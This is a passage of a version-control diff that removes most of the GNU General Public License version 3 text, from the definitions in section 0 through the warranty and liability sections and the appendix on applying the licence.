-infringement under applicable copyright law, except executing it on a
-computer or modifying a private copy.  Propagation includes copying,
-distribution (with or without modification), making available to the
-public, and in some countries other activities as well.
-
-  To "convey" a work means any kind of propagation that enables other
-parties to make or receive copies.  Mere interaction with a user through
-a computer network, with no transfer of a copy, is not conveying.
-
-  An interactive user interface displays "Appropriate Legal Notices"
-to the extent that it includes a convenient and prominently visible
-feature that (1) displays an appropriate copyright notice, and (2)
-tells the user that there is no warranty for the work (except to the
-extent that warranties are provided), that licensees may convey the
-work under this License, and how to view a copy of this License.  If
-the interface presents a list of user commands or options, such as a
-menu, a prominent item in the list meets this criterion.
-
-  1. Source Code.
-
-  The "source code" for a work means the preferred form of the work
-for making modifications to it.  "Object code" means any non-source
-form of a work.
-
-  A "Standard Interface" means an interface that either is an official
-standard defined by a recognized standards body, or, in the case of
-interfaces specified for a particular programming language, one that
-is widely used among developers working in that language.
-
-  The "System Libraries" of an executable work include anything, other
-than the work as a whole, that (a) is included in the normal form of
-packaging a Major Component, but which is not part of that Major
-Component, and (b) serves only to enable use of the work with that
-Major Component, or to implement a Standard Interface for which an
-implementation is available to the public in source code form.  A
-"Major Component", in this context, means a major essential component
-(kernel, window system, and so on) of the specific operating system
-(if any) on which the executable work runs, or a compiler used to
-produce the work, or an object code interpreter used to run it.
-
-  The "Corresponding Source" for a work in object code form means all
-the source code needed to generate, install, and (for an executable
-work) run the object code and to modify the work, including scripts to
-control those activities.  However, it does not include the work's
-System Libraries, or general-purpose tools or generally available free
-programs which are used unmodified in performing those activities but
-which are not part of the work.  For example, Corresponding Source
-includes interface definition files associated with source files for
-the work, and the source code for shared libraries and dynamically
-linked subprograms that the work is specifically designed to require,
-such as by intimate data communication or control flow between those
-subprograms and other parts of the work.
-
-  The Corresponding Source need not include anything that users
-can regenerate automatically from other parts of the Corresponding
-Source.
-
-  The Corresponding Source for a work in source code form is that
-same work.
-
-  2. Basic Permissions.
-
-  All rights granted under this License are granted for the term of
-copyright on the Program, and are irrevocable provided the stated
-conditions are met.  This License explicitly affirms your unlimited
-permission to run the unmodified Program.  The output from running a
-covered work is covered by this License only if the output, given its
-content, constitutes a covered work.  This License acknowledges your
-rights of fair use or other equivalent, as provided by copyright law.
-
-  You may make, run and propagate covered works that you do not
-convey, without conditions so long as your license otherwise remains
-in force.  You may convey covered works to others for the sole purpose
-of having them make modifications exclusively for you, or provide you
-with facilities for running those works, provided that you comply with
-the terms of this License in conveying all material for which you do
-not control copyright.  Those thus making or running the covered works
-for you must do so exclusively on your behalf, under your direction
-and control, on terms that prohibit them from making any copies of
-your copyrighted material outside their relationship with you.
-
-  Conveying under any other circumstances is permitted solely under
-the conditions stated below.  Sublicensing is not allowed; section 10
-makes it unnecessary.
-
-  3. Protecting Users' Legal Rights From Anti-Circumvention Law.
-
-  No covered work shall be deemed part of an effective technological
-measure under any applicable law fulfilling obligations under article
-11 of the WIPO copyright treaty adopted on 20 December 1996, or
-similar laws prohibiting or restricting circumvention of such
-measures.
-
-  When you convey a covered work, you waive any legal power to forbid
-circumvention of technological measures to the extent such circumvention
-is effected by exercising rights under this License with respect to
-the covered work, and you disclaim any intention to limit operation or
-modification of the work as a means of enforcing, against the work's
-users, your or third parties' legal rights to forbid circumvention of
-technological measures.
-
-  4. Conveying Verbatim Copies.
-
-  You may convey verbatim copies of the Program's source code as you
-receive it, in any medium, provided that you conspicuously and
-appropriately publish on each copy an appropriate copyright notice;
-keep intact all notices stating that this License and any
-non-permissive terms added in accord with section 7 apply to the code;
-keep intact all notices of the absence of any warranty; and give all
-recipients a copy of this License along with the Program.
-
-  You may charge any price or no price for each copy that you convey,
-and you may offer support or warranty protection for a fee.
-
-  5. Conveying Modified Source Versions.
-
-  You may convey a work based on the Program, or the modifications to
-produce it from the Program, in the form of source code under the
-terms of section 4, provided that you also meet all of these conditions:
-
-    a) The work must carry prominent notices stating that you modified
-    it, and giving a relevant date.
-
-    b) The work must carry prominent notices stating that it is
-    released under this License and any conditions added under section
-    7.  This requirement modifies the requirement in section 4 to
-    "keep intact all notices".
-
-    c) You must license the entire work, as a whole, under this
-    License to anyone who comes into possession of a copy.  This
-    License will therefore apply, along with any applicable section 7
-    additional terms, to the whole of the work, and all its parts,
-    regardless of how they are packaged.  This License gives no
-    permission to license the work in any other way, but it does not
-    invalidate such permission if you have separately received it.
-
-    d) If the work has interactive user interfaces, each must display
-    Appropriate Legal Notices; however, if the Program has interactive
-    interfaces that do not display Appropriate Legal Notices, your
-    work need not make them do so.
-
-  A compilation of a covered work with other separate and independent
-works, which are not by their nature extensions of the covered work,
-and which are not combined with it such as to form a larger program,
-in or on a volume of a storage or distribution medium, is called an
-"aggregate" if the compilation and its resulting copyright are not
-used to limit the access or legal rights of the compilation's users
-beyond what the individual works permit.  Inclusion of a covered work
-in an aggregate does not cause this License to apply to the other
-parts of the aggregate.
-
-  6. Conveying Non-Source Forms.
-
-  You may convey a covered work in object code form under the terms
-of sections 4 and 5, provided that you also convey the
-machine-readable Corresponding Source under the terms of this License,
-in one of these ways:
-
-    a) Convey the object code in, or embodied in, a physical product
-    (including a physical distribution medium), accompanied by the
-    Corresponding Source fixed on a durable physical medium
-    customarily used for software interchange.
-
-    b) Convey the object code in, or embodied in, a physical product
-    (including a physical distribution medium), accompanied by a
-    written offer, valid for at least three years and valid for as
-    long as you offer spare parts or customer support for that product
-    model, to give anyone who possesses the object code either (1) a
-    copy of the Corresponding Source for all the software in the
-    product that is covered by this License, on a durable physical
-    medium customarily used for software interchange, for a price no
-    more than your reasonable cost of physically performing this
-    conveying of source, or (2) access to copy the
-    Corresponding Source from a network server at no charge.
-
-    c) Convey individual copies of the object code with a copy of the
-    written offer to provide the Corresponding Source.  This
-    alternative is allowed only occasionally and noncommercially, and
-    only if you received the object code with such an offer, in accord
-    with subsection 6b.
-
-    d) Convey the object code by offering access from a designated
-    place (gratis or for a charge), and offer equivalent access to the
-    Corresponding Source in the same way through the same place at no
-    further charge.  You need not require recipients to copy the
-    Corresponding Source along with the object code.  If the place to
-    copy the object code is a network server, the Corresponding Source
-    may be on a different server (operated by you or a third party)
-    that supports equivalent copying facilities, provided you maintain
-    clear directions next to the object code saying where to find the
-    Corresponding Source.  Regardless of what server hosts the
-    Corresponding Source, you remain obligated to ensure that it is
-    available for as long as needed to satisfy these requirements.
-
-    e) Convey the object code using peer-to-peer transmission, provided
-    you inform other peers where the object code and Corresponding
-    Source of the work are being offered to the general public at no
-    charge under subsection 6d.
-
-  A separable portion of the object code, whose source code is excluded
-from the Corresponding Source as a System Library, need not be
-included in conveying the object code work.
-
-  A "User Product" is either (1) a "consumer product", which means any
-tangible personal property which is normally used for personal, family,
-or household purposes, or (2) anything designed or sold for incorporation
-into a dwelling.  In determining whether a product is a consumer product,
-doubtful cases shall be resolved in favor of coverage.  For a particular
-product received by a particular user, "normally used" refers to a
-typical or common use of that class of product, regardless of the status
-of the particular user or of the way in which the particular user
-actually uses, or expects or is expected to use, the product.  A product
-is a consumer product regardless of whether the product has substantial
-commercial, industrial or non-consumer uses, unless such uses represent
-the only significant mode of use of the product.
-
-  "Installation Information" for a User Product means any methods,
-procedures, authorization keys, or other information required to install
-and execute modified versions of a covered work in that User Product from
-a modified version of its Corresponding Source.  The information must
-suffice to ensure that the continued functioning of the modified object
-code is in no case prevented or interfered with solely because
-modification has been made.
-
-  If you convey an object code work under this section in, or with, or
-specifically for use in, a User Product, and the conveying occurs as
-part of a transaction in which the right of possession and use of the
-User Product is transferred to the recipient in perpetuity or for a
-fixed term (regardless of how the transaction is characterized), the
-Corresponding Source conveyed under this section must be accompanied
-by the Installation Information.  But this requirement does not apply
-if neither you nor any third party retains the ability to install
-modified object code on the User Product (for example, the work has
-been installed in ROM).
-
-  The requirement to provide Installation Information does not include a
-requirement to continue to provide support service, warranty, or updates
-for a work that has been modified or installed by the recipient, or for
-the User Product in which it has been modified or installed.  Access to a
-network may be denied when the modification itself materially and
-adversely affects the operation of the network or violates the rules and
-protocols for communication across the network.
-
-  Corresponding Source conveyed, and Installation Information provided,
-in accord with this section must be in a format that is publicly
-documented (and with an implementation available to the public in
-source code form), and must require no special password or key for
-unpacking, reading or copying.
-
-  7. Additional Terms.
-
-  "Additional permissions" are terms that supplement the terms of this
-License by making exceptions from one or more of its conditions.
-Additional permissions that are applicable to the entire Program shall
-be treated as though they were included in this License, to the extent
-that they are valid under applicable law.  If additional permissions
-apply only to part of the Program, that part may be used separately
-under those permissions, but the entire Program remains governed by
-this License without regard to the additional permissions.
-
-  When you convey a copy of a covered work, you may at your option
-remove any additional permissions from that copy, or from any part of
-it.  (Additional permissions may be written to require their own
-removal in certain cases when you modify the work.)  You may place
-additional permissions on material, added by you to a covered work,
-for which you have or can give appropriate copyright permission.
-
-  Notwithstanding any other provision of this License, for material you
-add to a covered work, you may (if authorized by the copyright holders of
-that material) supplement the terms of this License with terms:
-
-    a) Disclaiming warranty or limiting liability differently from the
-    terms of sections 15 and 16 of this License; or
-
-    b) Requiring preservation of specified reasonable legal notices or
-    author attributions in that material or in the Appropriate Legal
-    Notices displayed by works containing it; or
-
-    c) Prohibiting misrepresentation of the origin of that material, or
-    requiring that modified versions of such material be marked in
-    reasonable ways as different from the original version; or
-
-    d) Limiting the use for publicity purposes of names of licensors or
-    authors of the material; or
-
-    e) Declining to grant rights under trademark law for use of some
-    trade names, trademarks, or service marks; or
-
-    f) Requiring indemnification of licensors and authors of that
-    material by anyone who conveys the material (or modified versions of
-    it) with contractual assumptions of liability to the recipient, for
-    any liability that these contractual assumptions directly impose on
-    those licensors and authors.
-
-  All other non-permissive additional terms are considered "further
-restrictions" within the meaning of section 10.  If the Program as you
-received it, or any part of it, contains a notice stating that it is
-governed by this License along with a term that is a further
-restriction, you may remove that term.  If a license document contains
-a further restriction but permits relicensing or conveying under this
-License, you may add to a covered work material governed by the terms
-of that license document, provided that the further restriction does
-not survive such relicensing or conveying.
-
-  If you add terms to a covered work in accord with this section, you
-must place, in the relevant source files, a statement of the
-additional terms that apply to those files, or a notice indicating
-where to find the applicable terms.
-
-  Additional terms, permissive or non-permissive, may be stated in the
-form of a separately written license, or stated as exceptions;
-the above requirements apply either way.
-
-  8. Termination.
-
-  You may not propagate or modify a covered work except as expressly
-provided under this License.  Any attempt otherwise to propagate or
-modify it is void, and will automatically terminate your rights under
-this License (including any patent licenses granted under the third
-paragraph of section 11).
-
-  However, if you cease all violation of this License, then your
-license from a particular copyright holder is reinstated (a)
-provisionally, unless and until the copyright holder explicitly and
-finally terminates your license, and (b) permanently, if the copyright
-holder fails to notify you of the violation by some reasonable means
-prior to 60 days after the cessation.
-
-  Moreover, your license from a particular copyright holder is
-reinstated permanently if the copyright holder notifies you of the
-violation by some reasonable means, this is the first time you have
-received notice of violation of this License (for any work) from that
-copyright holder, and you cure the violation prior to 30 days after
-your receipt of the notice.
-
-  Termination of your rights under this section does not terminate the
-licenses of parties who have received copies or rights from you under
-this License.  If your rights have been terminated and not permanently
-reinstated, you do not qualify to receive new licenses for the same
-material under section 10.
-
-  9. Acceptance Not Required for Having Copies.
-
-  You are not required to accept this License in order to receive or
-run a copy of the Program.  Ancillary propagation of a covered work
-occurring solely as a consequence of using peer-to-peer transmission
-to receive a copy likewise does not require acceptance.  However,
-nothing other than this License grants you permission to propagate or
-modify any covered work.  These actions infringe copyright if you do
-not accept this License.  Therefore, by modifying or propagating a
-covered work, you indicate your acceptance of this License to do so.
-
-  10. Automatic Licensing of Downstream Recipients.
-
-  Each time you convey a covered work, the recipient automatically
-receives a license from the original licensors, to run, modify and
-propagate that work, subject to this License.  You are not responsible
-for enforcing compliance by third parties with this License.
-
-  An "entity transaction" is a transaction transferring control of an
-organization, or substantially all assets of one, or subdividing an
-organization, or merging organizations.  If propagation of a covered
-work results from an entity transaction, each party to that
-transaction who receives a copy of the work also receives whatever
-licenses to the work the party's predecessor in interest had or could
-give under the previous paragraph, plus a right to possession of the
-Corresponding Source of the work from the predecessor in interest, if
-the predecessor has it or can get it with reasonable efforts.
-
-  You may not impose any further restrictions on the exercise of the
-rights granted or affirmed under this License.  For example, you may
-not impose a license fee, royalty, or other charge for exercise of
-rights granted under this License, and you may not initiate litigation
-(including a cross-claim or counterclaim in a lawsuit) alleging that
-any patent claim is infringed by making, using, selling, offering for
-sale, or importing the Program or any portion of it.
-
-  11. Patents.
-
-  A "contributor" is a copyright holder who authorizes use under this
-License of the Program or a work on which the Program is based.  The
-work thus licensed is called the contributor's "contributor version".
-
-  A contributor's "essential patent claims" are all patent claims
-owned or controlled by the contributor, whether already acquired or
-hereafter acquired, that would be infringed by some manner, permitted
-by this License, of making, using, or selling its contributor version,
-but do not include claims that would be infringed only as a
-consequence of further modification of the contributor version.  For
-purposes of this definition, "control" includes the right to grant
-patent sublicenses in a manner consistent with the requirements of
-this License.
-
-  Each contributor grants you a non-exclusive, worldwide, royalty-free
-patent license under the contributor's essential patent claims, to
-make, use, sell, offer for sale, import and otherwise run, modify and
-propagate the contents of its contributor version.
-
-  In the following three paragraphs, a "patent license" is any express
-agreement or commitment, however denominated, not to enforce a patent
-(such as an express permission to practice a patent or covenant not to
-sue for patent infringement).  To "grant" such a patent license to a
-party means to make such an agreement or commitment not to enforce a
-patent against the party.
-
-  If you convey a covered work, knowingly relying on a patent license,
-and the Corresponding Source of the work is not available for anyone
-to copy, free of charge and under the terms of this License, through a
-publicly available network server or other readily accessible means,
-then you must either (1) cause the Corresponding Source to be so
-available, or (2) arrange to deprive yourself of the benefit of the
-patent license for this particular work, or (3) arrange, in a manner
-consistent with the requirements of this License, to extend the patent
-license to downstream recipients.  "Knowingly relying" means you have
-actual knowledge that, but for the patent license, your conveying the
-covered work in a country, or your recipient's use of the covered work
-in a country, would infringe one or more identifiable patents in that
-country that you have reason to believe are valid.
-
-  If, pursuant to or in connection with a single transaction or
-arrangement, you convey, or propagate by procuring conveyance of, a
-covered work, and grant a patent license to some of the parties
-receiving the covered work authorizing them to use, propagate, modify
-or convey a specific copy of the covered work, then the patent license
-you grant is automatically extended to all recipients of the covered
-work and works based on it.
-
-  A patent license is "discriminatory" if it does not include within
-the scope of its coverage, prohibits the exercise of, or is
-conditioned on the non-exercise of one or more of the rights that are
-specifically granted under this License.  You may not convey a covered
-work if you are a party to an arrangement with a third party that is
-in the business of distributing software, under which you make payment
-to the third party based on the extent of your activity of conveying
-the work, and under which the third party grants, to any of the
-parties who would receive the covered work from you, a discriminatory
-patent license (a) in connection with copies of the covered work
-conveyed by you (or copies made from those copies), or (b) primarily
-for and in connection with specific products or compilations that
-contain the covered work, unless you entered into that arrangement,
-or that patent license was granted, prior to 28 March 2007.
-
-  Nothing in this License shall be construed as excluding or limiting
-any implied license or other defenses to infringement that may
-otherwise be available to you under applicable patent law.
-
-  12. No Surrender of Others' Freedom.
-
-  If conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License.  If you cannot convey a
-covered work so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you may
-not convey it at all.  For example, if you agree to terms that obligate you
-to collect a royalty for further conveying from those to whom you convey
-the Program, the only way you could satisfy both those terms and this
-License would be to refrain entirely from conveying the Program.
-
-  13. Use with the GNU Affero General Public License.
-
-  Notwithstanding any other provision of this License, you have
-permission to link or combine any covered work with a work licensed
-under version 3 of the GNU Affero General Public License into a single
-combined work, and to convey the resulting work.  The terms of this
-License will continue to apply to the part which is the covered work,
-but the special requirements of the GNU Affero General Public License,
-section 13, concerning interaction through a network will apply to the
-combination as such.
-
-  14. Revised Versions of this License.
-
-  The Free Software Foundation may publish revised and/or new versions of
-the GNU General Public License from time to time.  Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
-  Each version is given a distinguishing version number.  If the
-Program specifies that a certain numbered version of the GNU General
-Public License "or any later version" applies to it, you have the
-option of following the terms and conditions either of that numbered
-version or of any later version published by the Free Software
-Foundation.  If the Program does not specify a version number of the
-GNU General Public License, you may choose any version ever published
-by the Free Software Foundation.
-
-  If the Program specifies that a proxy can decide which future
-versions of the GNU General Public License can be used, that proxy's
-public statement of acceptance of a version permanently authorizes you
-to choose that version for the Program.
-
-  Later license versions may give you additional or different
-permissions.  However, no additional obligations are imposed on any
-author or copyright holder as a result of your choosing to follow a
-later version.
-
-  15. Disclaimer of Warranty.
-
-  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
-APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
-HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
-OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
-THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
-PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
-IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
-ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
-
-  16. Limitation of Liability.
-
-  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
-THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
-GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
-USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
-DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
-PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
-EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
-SUCH DAMAGES.
-
-  17. Interpretation of Sections 15 and 16.
-
-  If the disclaimer of warranty and limitation of liability provided
-above cannot be given local legal effect according to their terms,
-reviewing courts shall apply local law that most closely approximates
-an absolute waiver of all civil liability in connection with the
-Program, unless a warranty or assumption of liability accompanies a
-copy of the Program in return for a fee.
-
-                     END OF TERMS AND CONDITIONS
-
-            How to Apply These Terms to Your New Programs
-
-  If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
-  To do so, attach the following notices to the program.  It is safest
-to attach them to the start of each source file to most effectively
-state the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-    <one line to give the program's name and a brief idea of what it does.>
-    Copyright (C) <year>  <name of author>
-
-    This program is free software: you can redistribute it and/or modify
-    it under the terms of the GNU General Public License as published by
-    the Free Software Foundation, either version 3 of the License, or
-    (at your option) any later version.
-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License
-    along with this program.  If not, see <http://www.gnu.org/licenses/>.
-
-Also add information on how to contact you by electronic and paper mail.
-
-  If the program does terminal interaction, make it output a short
-notice like this when it starts in an interactive mode:
-
-    <program>  Copyright (C) <year>  <name of author>
-    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-    This is free software, and you are welcome to redistribute it
-    under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License.  Of course, your program's commands
-might be different; for a GUI interface, you would use an "about box".
-
-  You should also get your employer (if you work as a programmer) or school,
-if any, to sign a "copyright disclaimer" for the program, if necessary.
-For more information on this, and how to apply and follow the GNU GPL, see
-<http://www.gnu.org/licenses/>.
-
-  The GNU General Public License does not permit incorporating your program
-into proprietary programs.  If your program is a subroutine library, you
-may consider it more useful to permit linking proprietary applications with
-the library.  If this is what you want to do, use the GNU Lesser General
-Public License instead of this License.  But first, please read
-<http://www.gnu.org/philosophy/why-not-lgpl.html>.